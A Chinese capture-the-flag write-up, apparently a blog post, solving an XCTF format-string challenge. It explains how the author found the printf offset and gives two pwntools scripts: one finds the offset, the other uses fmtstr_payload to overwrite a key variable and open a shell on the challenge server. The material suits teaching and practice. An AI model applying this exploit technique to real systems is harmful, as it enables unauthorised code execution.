攻防世界xctf-实时数据监测 wp

本题是一个简单的格式化字符串漏洞的利用。先查看一些文件的信息,32位的程序,保护措施没有开。
在这里插入图片描述
用IDA查看一些伪代码,发现main函数里面只有一个locker函数,locker函数首先接受了一个字符串s,然后调用imagemagic函数,这个函数跟进去查看其实就是一个printf函数,最后比较key的值是不是为0x2223322,如果相等,返回shell,否则打印key的地址和值
在这里插入图片描述
我们在本地运行一下看看,由于直接把key的地址告诉你了,所以本题的思路是找到格式化字符串地址的偏移,然后覆盖key的值。格式化字符串漏洞不清楚的可以先去查查相关资料,或者参考这篇文章
在这里插入图片描述
首先找偏移, printf("%p",a) 用地址的格式打印变量 a 的值。我们在前面输入AAAA,所以只需要在返回结果中找到0x41414141即可确定偏移,得到偏移为12
在这里插入图片描述
也可以用脚本得到偏移,结果是一样的

from pwn import *

conn = process('./a.out')

i = 0
while(1):
    conn.sendline('AAAA' + '%p ' * i)
    recv = conn.recv()
    if '0x41414141' in recv:
        log.info("offset is {}".format(i))
        break
    i += 1
    conn = process('./a.out')

找到偏移以后,key的地址我们也得到了,需要改写的值也知道了,可以直接用pwntools里面函数得到payload。
脚步如下

from pwn import *

debug = False

if debug:
    conn = process('./a.out')
else:
    conn = remote('220.249.52.133', 40638)

key_addr = 0x0804a048
key_value = 0x2223322

payload = fmtstr_payload(12, {key_addr: key_value})
conn.sendline(payload)

conn.interactive()
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值